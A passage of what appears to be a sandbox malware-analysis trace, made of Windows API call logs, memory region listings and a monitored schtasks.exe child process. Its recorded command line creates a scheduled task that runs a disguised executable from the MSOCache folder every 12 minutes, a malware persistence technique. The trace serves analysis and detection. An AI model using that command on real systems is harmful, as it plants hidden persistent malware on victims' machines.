(hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf00) returned 1 [0080.666] GetProcessHeap () returned 0x1d0000 [0080.666] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecf00) returned 0x20 [0080.667] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf00 | out: hHeap=0x1d0000) returned 1 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6c0) returned 1 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed6c0) returned 0x10 [0080.667] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6c0 | out: hHeap=0x1d0000) returned 1 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eced0) returned 1 [0080.667] GetProcessHeap () returned 0x1d0000 [0080.667] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eced0) returned 0x20 [0080.668] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eced0 | out: hHeap=0x1d0000) returned 1 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6e0) returned 1 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed6e0) returned 0x10 [0080.668] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed6e0 | out: hHeap=0x1d0000) returned 1 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecea0) returned 1 [0080.668] GetProcessHeap () returned 0x1d0000 [0080.668] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecea0) returned 0x20 [0080.668] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecea0 | out: hHeap=0x1d0000) returned 1 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed700) returned 1 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed700) returned 0xe [0080.669] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed700 | out: hHeap=0x1d0000) returned 1 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece70) returned 1 [0080.669] GetProcessHeap () returned 0x1d0000 [0080.669] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece70) returned 0x20 [0080.669] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece70 | out: hHeap=0x1d0000) returned 1 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed720) returned 1 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed720) returned 0x16 [0080.670] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed720 | out: hHeap=0x1d0000) returned 1 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece40) returned 1 [0080.670] GetProcessHeap () returned 0x1d0000 [0080.670] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece40) returned 0x20 [0080.670] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece40 | out: hHeap=0x1d0000) returned 1 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed740) returned 1 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed740) returned 0x16 [0080.671] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed740 | out: hHeap=0x1d0000) returned 1 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece10) returned 1 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.671] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece10) returned 0x20 [0080.671] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece10 | out: hHeap=0x1d0000) returned 1 [0080.671] GetProcessHeap () returned 0x1d0000 [0080.672] GetProcessHeap () returned 0x1d0000 [0080.672] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x209d10) returned 1 [0080.672] GetProcessHeap () returned 0x1d0000 [0080.672] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x209d10) returned 0x82 [0080.672] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x209d10 | out: hHeap=0x1d0000) returned 1 [0080.672] GetProcessHeap () returned 0x1d0000 [0080.672] GetProcessHeap () returned 0x1d0000 [0080.672] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecde0) returned 1 [0080.672] GetProcessHeap () returned 0x1d0000 [0080.672] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecde0) returned 0x20 [0080.673] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecde0 | out: hHeap=0x1d0000) returned 1 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed780) returned 1 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed780) returned 0xe [0080.673] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed780 | out: hHeap=0x1d0000) returned 1 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdb0) returned 1 [0080.673] GetProcessHeap () returned 0x1d0000 [0080.673] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecdb0) returned 0x20 [0080.674] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdb0 | out: hHeap=0x1d0000) returned 1 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb50) returned 1 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb50) returned 0x18 [0080.674] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb50 | out: hHeap=0x1d0000) returned 1 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5af0) returned 1 [0080.674] GetProcessHeap () returned 0x1d0000 [0080.674] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5af0) returned 0x20 [0080.674] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5af0 | out: hHeap=0x1d0000) returned 1 [0080.675] GetProcessHeap () returned 0x1d0000 [0080.675] GetProcessHeap () returned 0x1d0000 [0080.675] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b20) returned 1 [0080.675] GetProcessHeap () returned 0x1d0000 [0080.675] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b20) returned 0x20 [0080.675] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b20 | out: hHeap=0x1d0000) returned 1 [0080.675] GetProcessHeap () returned 0x1d0000 [0080.677] GetProcessHeap () returned 0x1d0000 [0080.677] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b50) returned 1 [0080.677] GetProcessHeap () returned 0x1d0000 [0080.677] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b50) returned 0x20 [0080.677] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b50 | out: hHeap=0x1d0000) returned 1 [0080.677] GetProcessHeap () returned 0x1d0000 [0080.677] GetProcessHeap () returned 0x1d0000 [0080.677] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b80) returned 1 [0080.677] GetProcessHeap () returned 0x1d0000 [0080.677] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b80) returned 0x20 [0080.678] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b80 | out: hHeap=0x1d0000) returned 1 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb70) returned 1 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb70) returned 0x18 [0080.678] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb70 | out: hHeap=0x1d0000) returned 1 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bb0) returned 1 [0080.678] GetProcessHeap () returned 0x1d0000 [0080.678] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5bb0) returned 0x20 [0080.679] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bb0 | out: hHeap=0x1d0000) returned 1 [0080.679] GetProcessHeap () returned 0x1d0000 [0080.679] GetProcessHeap () returned 0x1d0000 [0080.679] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c40) returned 1 [0080.679] GetProcessHeap () returned 0x1d0000 [0080.679] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c40) returned 0x20 [0080.679] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c40 | out: hHeap=0x1d0000) returned 1 [0080.679] GetProcessHeap () returned 0x1d0000 [0080.679] GetProcessHeap () returned 0x1d0000 [0080.679] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ca0) returned 1 [0080.680] GetProcessHeap () returned 0x1d0000 [0080.680] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ca0) returned 0x20 [0080.680] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ca0 | out: hHeap=0x1d0000) returned 1 [0080.680] GetProcessHeap () returned 0x1d0000 [0080.680] GetProcessHeap () returned 0x1d0000 [0080.680] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d00) returned 1 [0080.680] GetProcessHeap () returned 0x1d0000 [0080.680] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5d00) returned 0x20 [0080.681] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d00 | out: hHeap=0x1d0000) returned 1 [0080.681] GetProcessHeap () returned 0x1d0000 [0080.681] GetProcessHeap () returned 0x1d0000 [0080.681] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d30) returned 1 [0080.681] GetProcessHeap () returned 0x1d0000 [0080.681] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5d30) returned 0x20 [0080.682] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5d30 | out: hHeap=0x1d0000) returned 1 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90) returned 1 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb90) returned 0x18 [0080.683] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90 | out: hHeap=0x1d0000) returned 1 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c70) returned 1 [0080.683] GetProcessHeap () returned 0x1d0000 [0080.683] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c70) returned 0x20 [0080.684] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c70 | out: hHeap=0x1d0000) returned 1 [0080.684] GetProcessHeap () returned 0x1d0000 [0080.684] GetProcessHeap () returned 0x1d0000 [0080.684] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb10) returned 1 [0080.684] GetProcessHeap () returned 0x1d0000 [0080.684] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb10) returned 0x18 [0080.684] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb10 | out: hHeap=0x1d0000) returned 1 [0080.684] exit (_Code=0) Thread: id = 175 os_tid = 0xcf4 Process: id = "47" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c897000" os_pid = "0xcf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 12 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3851 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3852 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3853 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3854 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3855 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3856 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3857 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3858 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3859 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3860 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3861 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3862 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3863 start_va = 0x140000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3864 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3865 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3866 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3867 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3868 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3869 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3870 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3871 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3872 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3873 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3874 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3875 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3876 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3877 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3878 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3879 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3880 start_va = 0x140000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3881 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3882 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 3883 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 3884 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3885 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3886 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3887 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3888 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3889 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3890 start_va = 0x780000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 3891 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3892 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3893 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3894 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3895 start_va = 0x1b80000 end_va = 0x1e4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3896 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3897 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3898 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3899 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3900 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3901 start_va = 0x1e50000 end_va = 0x1f2efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3902 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3903 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 3904 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3905 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3906 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3907 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3908 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3909 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3910 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3911 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 176 os_tid = 0xcec [0080.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13fb00 | out: lpSystemTimeAsFileTime=0x13fb00*(dwLowDateTime=0x59296400, dwHighDateTime=0x1d9eb0c)) [0080.859] GetCurrentProcessId () returned 0xcf8 [0080.859] GetCurrentThreadId () returned 0xcec [0080.860] GetTickCount () returned 0x1769a33 [0080.860] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13fb08 | out: lpPerformanceCount=0x13fb08*=2488734293893) returned 1 [0080.860] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0080.860] __set_app_type (_Type=0x1) [0080.860] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0080.860] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0080.861] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0080.861] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0080.861] _onexit (_Func=0xff932afc) returned 0xff932afc [0080.861] _onexit (_Func=0xff932b58) returned 0xff932b58 